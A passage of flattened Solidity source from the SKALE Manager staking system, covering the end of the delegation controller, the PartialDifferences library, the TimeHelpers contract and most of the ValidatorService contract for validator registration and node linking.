}
function _processSlashesWithoutSignals(address holder, uint limit)
private returns (SlashingSignal[] memory slashingSignals)
{
if (hasUnprocessedSlashes(holder)) {
uint index = _firstUnprocessedSlashByHolder[holder];
uint end = _slashes.length;
if (limit > 0 && index.add(limit) < end) {
end = index.add(limit);
}
slashingSignals = new SlashingSignal[](end.sub(index));
uint begin = index;
for (; index < end; ++index) {
uint validatorId = _slashes[index].validatorId;
uint month = _slashes[index].month;
uint oldValue = _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month);
if (oldValue.muchGreater(0)) {
_delegatedByHolderToValidator[holder][validatorId].reduceValueByCoefficientAndUpdateSum(
_delegatedByHolder[holder],
_slashes[index].reducingCoefficient,
month);
_effectiveDelegatedByHolderToValidator[holder][validatorId].reduceSequence(
_slashes[index].reducingCoefficient,
month);
slashingSignals[index.sub(begin)].holder = holder;
slashingSignals[index.sub(begin)].penalty
= oldValue.boundedSub(_getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month));
}
}
_firstUnprocessedSlashByHolder[holder] = end;
}
}
function _processAllSlashesWithoutSignals(address holder)
private returns (SlashingSignal[] memory slashingSignals)
{
return _processSlashesWithoutSignals(holder, 0);
}
function _sendSlashingSignals(SlashingSignal[] memory slashingSignals) private {
Punisher punisher = Punisher(contractManager.getPunisher());
address previousHolder = address(0);
uint accumulatedPenalty = 0;
for (uint i = 0; i < slashingSignals.length; ++i) {
if (slashingSignals[i].holder != previousHolder) {
if (accumulatedPenalty > 0) {
punisher.handleSlash(previousHolder, accumulatedPenalty);
}
previousHolder = slashingSignals[i].holder;
accumulatedPenalty = slashingSignals[i].penalty;
} else {
accumulatedPenalty = accumulatedPenalty.add(slashingSignals[i].penalty);
}
}
if (accumulatedPenalty > 0) {
punisher.handleSlash(previousHolder, accumulatedPenalty);
}
}
function _addToAllStatistics(uint delegationId) private {
uint currentMonth = _getCurrentMonth();
delegations[delegationId].started = currentMonth.add(1);
if (_slashesOfValidator[delegations[delegationId].validatorId].lastMonth > 0) {
_delegationExtras[delegationId].lastSlashingMonthBeforeDelegation =
_slashesOfValidator[delegations[delegationId].validatorId].lastMonth;
}
_addToDelegatedToValidator(
delegations[delegationId].validatorId,
delegations[delegationId].amount,
currentMonth.add(1));
_addToDelegatedByHolder(
delegations[delegationId].holder,
delegations[delegationId].amount,
currentMonth.add(1));
_addToDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
delegations[delegationId].amount,
currentMonth.add(1));
_updateFirstDelegationMonth(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
currentMonth.add(1));
uint effectiveAmount = delegations[delegationId].amount.mul(
_getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod));
_addToEffectiveDelegatedToValidator(
delegations[delegationId].validatorId,
effectiveAmount,
currentMonth.add(1));
_addToEffectiveDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
effectiveAmount,
currentMonth.add(1));
_addValidatorToValidatorsPerDelegators(
delegations[delegationId].holder,
delegations[delegationId].validatorId
);
}
function _subtractFromAllStatistics(uint delegationId) private {
uint amountAfterSlashing = _calculateDelegationAmountAfterSlashing(delegationId);
_removeFromDelegatedToValidator(
delegations[delegationId].validatorId,
amountAfterSlashing,
delegations[delegationId].finished);
_removeFromDelegatedByHolder(
delegations[delegationId].holder,
amountAfterSlashing,
delegations[delegationId].finished);
_removeFromDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
amountAfterSlashing,
delegations[delegationId].finished);
uint effectiveAmount = amountAfterSlashing.mul(
_getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod));
_removeFromEffectiveDelegatedToValidator(
delegations[delegationId].validatorId,
effectiveAmount,
delegations[delegationId].finished);
_removeFromEffectiveDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
effectiveAmount,
delegations[delegationId].finished);
_getBounty().handleDelegationRemoving(
effectiveAmount,
delegations[delegationId].finished);
}
/**
* @dev Checks whether delegation to a validator is allowed.
*
* Requirements:
*
* - Delegator must not have reached the validator limit.
* - Delegation must be made in or after the first delegation month.
*/
function _checkIfDelegationIsAllowed(address holder, uint validatorId) private view returns (bool) {
require(
_numberOfValidatorsPerDelegator[holder].delegated[validatorId] > 0 ||
(
_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0 &&
_numberOfValidatorsPerDelegator[holder].number < _getConstantsHolder().limitValidatorsPerDelegator()
),
"Limit of validators is reached"
);
}
function _getDelegationPeriodManager() private view returns (DelegationPeriodManager) {
return DelegationPeriodManager(contractManager.getDelegationPeriodManager());
}
function _getBounty() private view returns (BountyV2) {
return BountyV2(contractManager.getBounty());
}
function _getValidatorService() private view returns (ValidatorService) {
return ValidatorService(contractManager.getValidatorService());
}
function _getTimeHelpers() private view returns (TimeHelpers) {
return TimeHelpers(contractManager.getTimeHelpers());
}
function _getConstantsHolder() private view returns (ConstantsHolder) {
return ConstantsHolder(contractManager.getConstantsHolder());
}
function _accept(uint delegationId) private {
_checkIfDelegationIsAllowed(delegations[delegationId].holder, delegations[delegationId].validatorId);
State currentState = getState(delegationId);
if (currentState != State.PROPOSED) {
if (currentState == State.ACCEPTED ||
currentState == State.DELEGATED ||
currentState == State.UNDELEGATION_REQUESTED ||
currentState == State.COMPLETED)
{
revert("The delegation has been already accepted");
} else if (currentState == State.CANCELED) {
revert("The delegation has been cancelled by token holder");
} else if (currentState == State.REJECTED) {
revert("The delegation request is outdated");
}
}
require(currentState == State.PROPOSED, "Cannot set delegation state to accepted");
SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(delegations[delegationId].holder);
_addToAllStatistics(delegationId);
uint amount = delegations[delegationId].amount;
uint effectiveAmount = amount.mul(
_getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)
);
_getBounty().handleDelegationAdd(
effectiveAmount,
delegations[delegationId].started
);
_sendSlashingSignals(slashingSignals);
emit DelegationAccepted(delegationId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
PartialDifferences.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../utils/MathUtils.sol";
import "../utils/FractionUtils.sol";
/**
* @title Partial Differences Library
* @dev This library contains functions to manage Partial Differences data
* structure. Partial Differences is an array of value differences over time.
*
* For example: assuming an array [3, 6, 3, 1, 2], partial differences can
* represent this array as [_, 3, -3, -2, 1].
*
* This data structure allows adding values on an open interval with O(1)
* complexity.
*
* For example: add +5 to [3, 6, 3, 1, 2] starting from the second element (3),
* instead of performing [3, 6, 3+5, 1+5, 2+5] partial differences allows
* performing [_, 3, -3+5, -2, 1]. The original array can be restored by
* adding values from partial differences.
*/
library PartialDifferences {
using SafeMath for uint;
using MathUtils for uint;
struct Sequence {
// month => diff
mapping (uint => uint) addDiff;
// month => diff
mapping (uint => uint) subtractDiff;
// month => value
mapping (uint => uint) value;
uint firstUnprocessedMonth;
uint lastChangedMonth;
}
struct Value {
// month => diff
mapping (uint => uint) addDiff;
// month => diff
mapping (uint => uint) subtractDiff;
uint value;
uint firstUnprocessedMonth;
uint lastChangedMonth;
}
// functions for sequence
function addToSequence(Sequence storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
}
sequence.addDiff[month] = sequence.addDiff[month].add(diff);
if (sequence.lastChangedMonth != month) {
sequence.lastChangedMonth = month;
}
}
function subtractFromSequence(Sequence storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month, "Cannot subtract from the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
}
sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff);
if (sequence.lastChangedMonth != month) {
sequence.lastChangedMonth = month;
}
}
function getAndUpdateValueInSequence(Sequence storage sequence, uint month) internal returns (uint) {
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
uint nextValue = sequence.value[i.sub(1)].add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]);
if (sequence.value[i] != nextValue) {
sequence.value[i] = nextValue;
}
if (sequence.addDiff[i] > 0) {
delete sequence.addDiff[i];
}
if (sequence.subtractDiff[i] > 0) {
delete sequence.subtractDiff[i];
}
}
sequence.firstUnprocessedMonth = month.add(1);
}
return sequence.value[month];
}
function getValueInSequence(Sequence storage sequence, uint month) internal view returns (uint) {
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
uint value = sequence.value[sequence.firstUnprocessedMonth.sub(1)];
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]);
}
return value;
} else {
return sequence.value[month];
}
}
function getValuesInSequence(Sequence storage sequence) internal view returns (uint[] memory values) {
if (sequence.firstUnprocessedMonth == 0) {
return values;
}
uint begin = sequence.firstUnprocessedMonth.sub(1);
uint end = sequence.lastChangedMonth.add(1);
if (end <= begin) {
end = begin.add(1);
}
values = new uint[](end.sub(begin));
values[0] = sequence.value[sequence.firstUnprocessedMonth.sub(1)];
for (uint i = 0; i.add(1) < values.length; ++i) {
uint month = sequence.firstUnprocessedMonth.add(i);
values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]);
}
}
function reduceSequence(
Sequence storage sequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month) internal
{
require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past");
require(
reducingCoefficient.numerator <= reducingCoefficient.denominator,
"Increasing of values is not implemented");
if (sequence.firstUnprocessedMonth == 0) {
return;
}
uint value = getAndUpdateValueInSequence(sequence, month);
if (value.approximatelyEqual(0)) {
return;
}
sequence.value[month] = sequence.value[month]
.mul(reducingCoefficient.numerator)
.div(reducingCoefficient.denominator);
for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) {
sequence.subtractDiff[i] = sequence.subtractDiff[i]
.mul(reducingCoefficient.numerator)
.div(reducingCoefficient.denominator);
}
}
// functions for value
function addToValue(Value storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
sequence.lastChangedMonth = month;
}
if (month > sequence.lastChangedMonth) {
sequence.lastChangedMonth = month;
}
if (month >= sequence.firstUnprocessedMonth) {
sequence.addDiff[month] = sequence.addDiff[month].add(diff);
} else {
sequence.value = sequence.value.add(diff);
}
}
function subtractFromValue(Value storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month.add(1), "Cannot subtract from the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
sequence.lastChangedMonth = month;
}
if (month > sequence.lastChangedMonth) {
sequence.lastChangedMonth = month;
}
if (month >= sequence.firstUnprocessedMonth) {
sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff);
} else {
sequence.value = sequence.value.boundedSub(diff);
}
}
function getAndUpdateValue(Value storage sequence, uint month) internal returns (uint) {
require(
month.add(1) >= sequence.firstUnprocessedMonth,
"Cannot calculate value in the past");
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
uint value = sequence.value;
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
value = value.add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]);
if (sequence.addDiff[i] > 0) {
delete sequence.addDiff[i];
}
if (sequence.subtractDiff[i] > 0) {
delete sequence.subtractDiff[i];
}
}
if (sequence.value != value) {
sequence.value = value;
}
sequence.firstUnprocessedMonth = month.add(1);
}
return sequence.value;
}
function getValue(Value storage sequence, uint month) internal view returns (uint) {
require(
month.add(1) >= sequence.firstUnprocessedMonth,
"Cannot calculate value in the past");
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
uint value = sequence.value;
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]);
}
return value;
} else {
return sequence.value;
}
}
function getValues(Value storage sequence) internal view returns (uint[] memory values) {
if (sequence.firstUnprocessedMonth == 0) {
return values;
}
uint begin = sequence.firstUnprocessedMonth.sub(1);
uint end = sequence.lastChangedMonth.add(1);
if (end <= begin) {
end = begin.add(1);
}
values = new uint[](end.sub(begin));
values[0] = sequence.value;
for (uint i = 0; i.add(1) < values.length; ++i) {
uint month = sequence.firstUnprocessedMonth.add(i);
values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]);
}
}
function reduceValue(
Value storage sequence,
uint amount,
uint month)
internal returns (FractionUtils.Fraction memory)
{
require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past");
if (sequence.firstUnprocessedMonth == 0) {
return FractionUtils.createFraction(0);
}
uint value = getAndUpdateValue(sequence, month);
if (value.approximatelyEqual(0)) {
return FractionUtils.createFraction(0);
}
uint _amount = amount;
if (value < amount) {
_amount = value;
}
FractionUtils.Fraction memory reducingCoefficient =
FractionUtils.createFraction(value.boundedSub(_amount), value);
reduceValueByCoefficient(sequence, reducingCoefficient, month);
return reducingCoefficient;
}
function reduceValueByCoefficient(
Value storage sequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month)
internal
{
reduceValueByCoefficientAndUpdateSumIfNeeded(
sequence,
sequence,
reducingCoefficient,
month,
false);
}
function reduceValueByCoefficientAndUpdateSum(
Value storage sequence,
Value storage sumSequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month) internal
{
reduceValueByCoefficientAndUpdateSumIfNeeded(
sequence,
sumSequence,
reducingCoefficient,
month,
true);
}
function reduceValueByCoefficientAndUpdateSumIfNeeded(
Value storage sequence,
Value storage sumSequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month,
bool hasSumSequence) internal
{
require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past");
if (hasSumSequence) {
require(month.add(1) >= sumSequence.firstUnprocessedMonth, "Cannot reduce value in the past");
}
require(
reducingCoefficient.numerator <= reducingCoefficient.denominator,
"Increasing of values is not implemented");
if (sequence.firstUnprocessedMonth == 0) {
return;
}
uint value = getAndUpdateValue(sequence, month);
if (value.approximatelyEqual(0)) {
return;
}
uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator);
if (hasSumSequence) {
subtractFromValue(sumSequence, sequence.value.boundedSub(newValue), month);
}
sequence.value = newValue;
for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) {
uint newDiff = sequence.subtractDiff[i]
.mul(reducingCoefficient.numerator)
.div(reducingCoefficient.denominator);
if (hasSumSequence) {
sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i]
.boundedSub(sequence.subtractDiff[i].boundedSub(newDiff));
}
sequence.subtractDiff[i] = newDiff;
}
}
function clear(Value storage sequence) internal {
for (uint i = sequence.firstUnprocessedMonth; i <= sequence.lastChangedMonth; ++i) {
if (sequence.addDiff[i] > 0) {
delete sequence.addDiff[i];
}
if (sequence.subtractDiff[i] > 0) {
delete sequence.subtractDiff[i];
}
}
if (sequence.value > 0) {
delete sequence.value;
}
if (sequence.firstUnprocessedMonth > 0) {
delete sequence.firstUnprocessedMonth;
}
if (sequence.lastChangedMonth > 0) {
delete sequence.lastChangedMonth;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
TimeHelpers.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../thirdparty/BokkyPooBahsDateTimeLibrary.sol";
/**
* @title TimeHelpers
* @dev The contract performs time operations.
*
* These functions are used to calculate monthly and Proof of Use epochs.
*/
contract TimeHelpers {
using SafeMath for uint;
uint constant private _ZERO_YEAR = 2020;
function calculateProofOfUseLockEndTime(uint month, uint lockUpPeriodDays) external view returns (uint timestamp) {
timestamp = BokkyPooBahsDateTimeLibrary.addDays(monthToTimestamp(month), lockUpPeriodDays);
}
function addDays(uint fromTimestamp, uint n) external pure returns (uint) {
return BokkyPooBahsDateTimeLibrary.addDays(fromTimestamp, n);
}
function addMonths(uint fromTimestamp, uint n) external pure returns (uint) {
return BokkyPooBahsDateTimeLibrary.addMonths(fromTimestamp, n);
}
function addYears(uint fromTimestamp, uint n) external pure returns (uint) {
return BokkyPooBahsDateTimeLibrary.addYears(fromTimestamp, n);
}
function getCurrentMonth() external view virtual returns (uint) {
return timestampToMonth(now);
}
function timestampToDay(uint timestamp) external view returns (uint) {
uint wholeDays = timestamp / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY;
uint zeroDay = BokkyPooBahsDateTimeLibrary.timestampFromDate(_ZERO_YEAR, 1, 1) /
BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY;
require(wholeDays >= zeroDay, "Timestamp is too far in the past");
return wholeDays - zeroDay;
}
function timestampToYear(uint timestamp) external view virtual returns (uint) {
uint year;
(year, , ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp);
require(year >= _ZERO_YEAR, "Timestamp is too far in the past");
return year - _ZERO_YEAR;
}
function timestampToMonth(uint timestamp) public view virtual returns (uint) {
uint year;
uint month;
(year, month, ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp);
require(year >= _ZERO_YEAR, "Timestamp is too far in the past");
month = month.sub(1).add(year.sub(_ZERO_YEAR).mul(12));
require(month > 0, "Timestamp is too far in the past");
return month;
}
function monthToTimestamp(uint month) public view virtual returns (uint timestamp) {
uint year = _ZERO_YEAR;
uint _month = month;
year = year.add(_month.div(12));
_month = _month.mod(12);
_month = _month.add(1);
return BokkyPooBahsDateTimeLibrary.timestampFromDate(year, _month, 1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ValidatorService.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol";
import "../Permissions.sol";
import "../ConstantsHolder.sol";
import "./DelegationController.sol";
import "./TimeHelpers.sol";
/**
* @title ValidatorService
* @dev This contract handles all validator operations including registration,
* node management, validator-specific delegation parameters, and more.
*
* TIP: For more information see our main instructions
* https://forum.skale.network/t/skale-mainnet-launch-faq/182[SKALE MainNet Launch FAQ].
*
* Validators register an address, and use this address to accept delegations and
* register nodes.
*/
contract ValidatorService is Permissions {
using ECDSA for bytes32;
struct Validator {
string name;
address validatorAddress;
address requestedAddress;
string description;
uint feeRate;
uint registrationTime;
uint minimumDelegationAmount;
bool acceptNewRequests;
}
/**
* @dev Emitted when a validator registers.
*/
event ValidatorRegistered(
uint validatorId
);
/**
* @dev Emitted when a validator address changes.
*/
event ValidatorAddressChanged(
uint validatorId,
address newAddress
);
/**
* @dev Emitted when a validator is enabled.
*/
event ValidatorWasEnabled(
uint validatorId
);
/**
* @dev Emitted when a validator is disabled.
*/
event ValidatorWasDisabled(
uint validatorId
);
/**
* @dev Emitted when a node address is linked to a validator.
*/
event NodeAddressWasAdded(
uint validatorId,
address nodeAddress
);
/**
* @dev Emitted when a node address is unlinked from a validator.
*/
event NodeAddressWasRemoved(
uint validatorId,
address nodeAddress
);
mapping (uint => Validator) public validators;
mapping (uint => bool) private _trustedValidators;
uint[] public trustedValidatorsList;
// address => validatorId
mapping (address => uint) private _validatorAddressToId;
// address => validatorId
mapping (address => uint) private _nodeAddressToValidatorId;
// validatorId => nodeAddress[]
mapping (uint => address[]) private _nodeAddresses;
uint public numberOfValidators;
bool public useWhitelist;
bytes32 public constant VALIDATOR_MANAGER_ROLE = keccak256("VALIDATOR_MANAGER_ROLE");
modifier onlyValidatorManager() {
require(hasRole(VALIDATOR_MANAGER_ROLE, msg.sender), "VALIDATOR_MANAGER_ROLE is required");
_;
}
modifier checkValidatorExists(uint validatorId) {
require(validatorExists(validatorId), "Validator with such ID does not exist");
_;
}
/**
* @dev Creates a new validator ID that includes a validator name, description,
* commission or fee rate, and a minimum delegation amount accepted by the validator.
*
* Emits a {ValidatorRegistered} event.
*
* Requirements:
*
* - Sender must not already have registered a validator ID.
* - Fee rate must be between 0 - 1000‰. Note: in per mille.
*/
function registerValidator(
string calldata name,
string calldata description,
uint feeRate,
uint minimumDelegationAmount
)
external
returns (uint validatorId)
{
require(!validatorAddressExists(msg.sender), "Validator with such address already exists");
require(feeRate <= 1000, "Fee rate of validator should be lower than 100%");
validatorId = ++numberOfValidators;
validators[validatorId] = Validator(
name,
msg.sender,
address(0),
description,
feeRate,
now,
minimumDelegationAmount,
true
);
_setValidatorAddress(validatorId, msg.sender);
emit ValidatorRegistered(validatorId);
}
/**
* @dev Allows Admin to enable a validator by adding their ID to the
* trusted list.
*
* Emits a {ValidatorWasEnabled} event.
*
* Requirements:
*
* - Validator must not already be enabled.
*/
function enableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyValidatorManager {
require(!_trustedValidators[validatorId], "Validator is already enabled");
_trustedValidators[validatorId] = true;
trustedValidatorsList.push(validatorId);
emit ValidatorWasEnabled(validatorId);
}
/**
* @dev Allows Admin to disable a validator by removing their ID from
* the trusted list.
*
* Emits a {ValidatorWasDisabled} event.
*
* Requirements:
*
* - Validator must not already be disabled.
*/
function disableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyValidatorManager {
require(_trustedValidators[validatorId], "Validator is already disabled");
_trustedValidators[validatorId] = false;
uint position = _find(trustedValidatorsList, validatorId);
if (position < trustedValidatorsList.length) {
trustedValidatorsList[position] =
trustedValidatorsList[trustedValidatorsList.length.sub(1)];
}
trustedValidatorsList.pop();
emit ValidatorWasDisabled(validatorId);
}
/**
* @dev Owner can disable the trusted validator list. Once turned off, the
* trusted list cannot be re-enabled.
*/
function disableWhitelist() external onlyValidatorManager {
useWhitelist = false;
}
/**
* @dev Allows `msg.sender` to request a new address.
*
* Requirements:
*
* - `msg.sender` must already be a validator.
* - New address must not be null.
* - New address must not be already registered as a validator.
*/
function requestForNewAddress(address newValidatorAddress) external {
require(newValidatorAddress != address(0), "New address cannot be null");
require(_validatorAddressToId[newValidatorAddress] == 0, "Address already registered");
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].requestedAddress = newValidatorAddress;
}
/**
* @dev Allows msg.sender to confirm an address change.
*
* Emits a {ValidatorAddressChanged} event.
*
* Requirements:
*
* - Must be owner of new address.
*/
function confirmNewAddress(uint validatorId)
external
checkValidatorExists(validatorId)
{
require(
getValidator(validatorId).requestedAddress == msg.sender,
"The validator address cannot be changed because it is not the actual owner"
);
delete validators[validatorId].requestedAddress;
_setValidatorAddress(validatorId, msg.sender);
emit ValidatorAddressChanged(validatorId, validators[validatorId].validatorAddress);
}
/**
* @dev Links a node address to validator ID. Validator must present
* the node signature of the validator ID.
*
* Requirements:
*
* - Signature must be valid.
* - Address must not be assigned to a validator.
*/
function linkNodeAddress(address nodeAddress, bytes calldata sig) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
require(
keccak256(abi.encodePacked(validatorId)).toEthSignedMessageHash().recover(sig) == nodeAddress,
"Signature is not pass"
);
require(_validatorAddressToId[nodeAddress] == 0, "Node address is a validator");
_addNodeAddress(validatorId, nodeAddress);
emit NodeAddressWasAdded(validatorId, nodeAddress);
}
/**
* @dev Unlinks a node address from a validator.
*
* Emits a {NodeAddressWasRemoved} event.
*/
function unlinkNodeAddress(address nodeAddress) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
this.removeNodeAddress(validatorId, nodeAddress);
emit NodeAddressWasRemoved(validatorId, nodeAddress);
}
/**
* @dev Allows a validator to set a minimum delegation amount.
*/
function setValidatorMDA(uint minimumDelegationAmount) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].minimumDelegationAmount = minimumDelegationAmount;
}
/**
* @dev Allows a validator to set a new validator name.
*/
function setValidatorName(string calldata newName) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].name = newName;
}
/**
* @dev Allows a validator to set a new validator description.
*/
function setValidatorDescription(string calldata newDescription) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].description = newDescription;
}
/**
* @dev Allows a validator to start accepting new delegation requests.
*
* Requirements:
*
* - Must not have already enabled accepting new requests.
*/
function startAcceptingNewRequests() external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
require(!isAcceptingNewRequests(validatorId), "Accepting request is already enabled");
validators[validatorId].acceptNewRequests = true;
}
/**
* @dev Allows a validator to stop accepting new delegation requests.
*
* Requirements:
*
* - Must not have already stopped accepting new requests.
*/
function stopAcceptingNewRequests() external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
require(isAcceptingNewRequests(validatorId), "Accepting request is already disabled");
validators[validatorId].acceptNewRequests = false;
}
function removeNodeAddress(uint validatorId, address nodeAddress) external allowTwo("ValidatorService", "Nodes") {
require(_nodeAddressToValidatorId[nodeAddress] == validatorId,
"Validator does not have permissions to unlink node");
delete _nodeAddressToValidatorId[nodeAddress];
for (uint i = 0; i < _nodeAddresses[validatorId].length; ++i) {
if (_nodeAddresses[validatorId][i] == nodeAddress) {
if (i + 1 < _nodeAddresses[validatorId].length) {
_nodeAddresses[validatorId][i] =
_nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)];
}
delete _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)];
_nodeAddresses[validatorId].pop();
break;
}
}
}
/**
* @dev Returns the amount of validator bond (self-delegation).
*/
function getAndUpdateBondAmount(uint validatorId)
external
returns (uint)
{
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
return delegationController.getAndUpdateDelegatedByHolderToValidatorNow(
getValidator(validatorId).validatorAddress,
validatorId
);
}
/**
* @dev Returns node addresses linked to the msg.sender.
*/
function getMyNodesAddresses() external view returns (address[] memory) {
return getNodeAddresses(getValidatorId(msg.sender));
}
/**
* @dev Returns the list of trusted validators.
*/
function getTrustedValidators() external view returns (uint[] memory) {
return trustedValidatorsList;
}
/**
* @dev Checks whether the validator ID is linked to the validator address.
*/
function checkValidatorAddressToId(address validatorAddress, uint validatorId)
external
view
returns (bool)
{
return getValidatorId(validatorAddress) == validatorId ? true : false;
}
/**
* @dev Returns the validator ID linked to a node address.
*
* Requirements:
*
* - Node address must be linked to a validator.
*/
function getValidatorIdByNodeAddress(address nodeAddress) external view returns (uint validatorId) {
validatorId = _nodeAddressToValidatorId[nodeAddress];
require(validatorId != 0, "Node address is not assigned to a validator");
}
function checkValidatorCanReceiveDelegation(uint validatorId, uint amount) external view {
require(isAuthorizedValidator(validatorId), "Validator is not authorized to accept delegation request");
require(isAcceptingNewRequests(validatorId), "The validator is not currently accepting new requests");
require(
validators[validatorId].minimumDelegationAmount <= amount,
"Amount does not meet the validator's minimum delegation amount"
);
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
useWhitelist = true;
}
/**
* @dev Returns a validator's node addresses.
*/
function getNodeAddresses(uint validatorId) public view returns (address[] memory) {
return _nodeAddresses[validatorId];
}
/**
* @dev Checks whether validator ID exists.
*/
function validatorExists(uint validatorId) public view returns (bool) {
return validatorId <= numberOfValidators && validatorId != 0;
}
/**
* @dev Checks whether validator address exists.
*/
function validatorAddressExists(address validatorAddress) public view returns (bool) {
return _validatorAddressToId[validatorAddress] != 0;
}
/**
* @dev Checks whether validator address exists.
*/
function checkIfValidatorAddressExists(address validatorAddress) public view {
require(validatorAddressExists(validatorAddress), "Validator address does not exist");
}
/**
* @dev Returns the Validator struct.
*/
function getValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (Validator memory) {
return validators[validatorId];
}
/**
